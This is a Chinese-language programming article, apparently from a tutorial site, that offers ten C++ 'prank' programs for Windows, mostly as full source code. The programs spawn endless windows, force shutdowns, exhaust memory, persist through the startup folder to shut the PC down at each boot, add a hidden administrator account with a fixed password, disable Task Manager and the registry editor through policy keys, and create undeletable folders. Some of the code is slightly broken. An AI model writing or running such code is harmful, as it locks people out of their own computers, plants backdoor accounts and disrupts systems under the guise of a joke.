十個(gè)C++惡搞朋友的代碼合集
注:以下代碼應(yīng)勿用于非法(Dev-c++5.11實(shí)測(cè)可用)
0.無(wú)限生成cmd
解決方法:關(guān)閉程序即可
Code:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)system("start cmd");
}
1.使鼠標(biāo)所點(diǎn)應(yīng)用消失
解決方法:暫無(wú)
Code:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)
{
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd,SW_HIDE);
}
}
2.使鼠標(biāo)亂飛
解決方法:任務(wù)管理器(Ctrl+Alt+Delete)用方向鍵選該程序,點(diǎn)擊Delete關(guān)閉
Code:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)
{
SetCursorPos(rand()%1000,rand()%1000);
}
}
3.立刻或定時(shí)關(guān)機(jī)
解決方法:cmd(Win+R,輸入:cmd),輸入shutdown -a
Code:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
system("shutdown -s -t 60");->1分鐘
system("shutdown -p");->立刻
}
4.卡死
注意:Windows高版本可能沒(méi)有作用
解決方法:任務(wù)管理器(Ctrl+Alt+Delete)用方向鍵選該程序,點(diǎn)擊Delete關(guān)閉
Code:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)malloc(1000);
}
警告:從5.開(kāi)始為危險(xiǎn)/永久性程序,請(qǐng)慎重使用
5.開(kāi)機(jī)即關(guān)機(jī)
提示:操作啟動(dòng)項(xiàng),可能被殺毒軟件攔截
解決方法:殺毒軟件
Code:(保存在C:\main.cpp,編譯后生成C:\main.exe,也可更改18行代碼)
#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
char szStartupPath[MAX_PATH] = { 0 };
char szDestFilePath[MAX_PATH] = { 0 };
SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
return TRUE;
}
int main(int argc, char * argv[])
{
AutoRun_Startup("c://main.exe", "main.exe");
system("shutdown /p");
return 0;
}6.添加用戶
提示:可能被殺毒軟件攔截
解決方法:殺毒軟件
Code:
#include <stdio.h>
#include <assert.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
void AddUser(LPWSTR UserName, LPWSTR Password)
{
USER_INFO_1 user;
user.usri1_name = UserName;
user.usri1_password = Password;
user.usri1_priv = USER_PRIV_USER;
user.usri1_home_dir = NULL;
user.usri1_comment = NULL;
user.usri1_flags = UF_SCRIPT;
user.usri1_script_path = NULL;
if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
printf("創(chuàng)建用戶完成 \n");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = user.usri1_name;
if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
printf("添加到組完成 \n");
}
void EnumUser()
{
LPUSER_INFO_0 pBuf = NULL;
LPUSER_INFO_0 pTmpBuf;
DWORD dwLevel = 0;
DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
DWORD i;
NET_API_STATUS nStatus;
LPTSTR pszServerName = NULL;
do
{
nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
(LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
{
if ((pTmpBuf = pBuf) != NULL)
{
for (i = 0; (i < dwEntriesRead); i++)
{
assert(pTmpBuf != NULL);
if (pTmpBuf == NULL)
{
break;
}
wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
pTmpBuf++;
}
}
}
if (pBuf != NULL)
{
NetApiBufferFree(pBuf);
pBuf = NULL;
}
} while (nStatus == ERROR_MORE_DATA);
NetApiBufferFree(pBuf);
}
int main(int argc, char *argv[])
{
AddUser(L"lyshark", L"123123");
EnumUser();
system("pause");
return 0;
}7.禁用任務(wù)管理器
提示:可能被殺毒軟件攔截
Code:
#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
8.禁用注冊(cè)表
提示:可能被殺毒軟件攔截
Code:
#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
9.桌面壁紙
Code:
#include <stdio.h>
#include <windows.h>
int main()
{
DWORD value = 1;
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
return 0;
}
10.不可刪除文件
解決方法:將51-52行換成52行
Code:
#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
// 添加不可刪除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
char file[2048] = { 0 };
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
BOOL bRet = CreateDirectory(file, NULL);
if (bRet)
{
strcat(file, "\\anti...\\");
bRet = CreateDirectory(file, NULL);
if (bRet)
{
SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
return TRUE;
}
}
return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
char file[2048] = { 0 };
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
strcat(file, "\\anti...\\");
RemoveDirectory(file);
ZeroMemory(file, MAX_PATH);
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
RemoveDirectory(file);
}
int main(int argc, char * argv[])
{
char *Fuk[4] = { "你", "好", "世", "界" };
int FukLen = sizeof(Fuk) / sizeof(int);
TCHAR Destop[MAX_PATH];
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);
for (int x = 0; x < FukLen; x++)
{
SetImmunity("c://", Fuk[x]);
//ClearImmunity("c://", Fuk[x]);
}
system("pause");
return 0;
}到此這篇關(guān)十個(gè)C++惡搞朋友的代碼合集的文章就介紹到這了,更多相關(guān)C++惡搞代碼內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
C語(yǔ)言編程C++動(dòng)態(tài)內(nèi)存分配示例講解
這篇文章主要介紹了C語(yǔ)言編程C++動(dòng)態(tài)內(nèi)存分配示例講解,為什么存在動(dòng)態(tài)內(nèi)存分配?本文通過(guò)動(dòng)態(tài)內(nèi)存介紹及常見(jiàn)內(nèi)存錯(cuò)誤等示例來(lái)為大家講解2021-09-09
C++ 設(shè)置和獲取當(dāng)前工作路徑的實(shí)現(xiàn)代碼
這篇文章主要介紹了C++ 設(shè)置和獲取當(dāng)前工作路徑的實(shí)現(xiàn)代碼,防止DLL加載不到配置和文件,需要的朋友可以參考下2017-09-09
c++如何控制輸出浮點(diǎn)數(shù)小數(shù)點(diǎn)后若干位
這篇文章主要介紹了c++如何控制輸出浮點(diǎn)數(shù)小數(shù)點(diǎn)后若干位問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-09-09
c/c++?Error:?redefinition?of?'xxx'的問(wèn)題及解決方法
兩個(gè)類(lèi)/文件同時(shí)引用定義ReplyInfo的頭文件,會(huì)造成頭文件中定義重復(fù)定義,本文給大家分享c/c++?Error:?redefinition?of?‘xxx’?的問(wèn)題及解決方法,感興趣的朋友一起看看吧2023-08-08

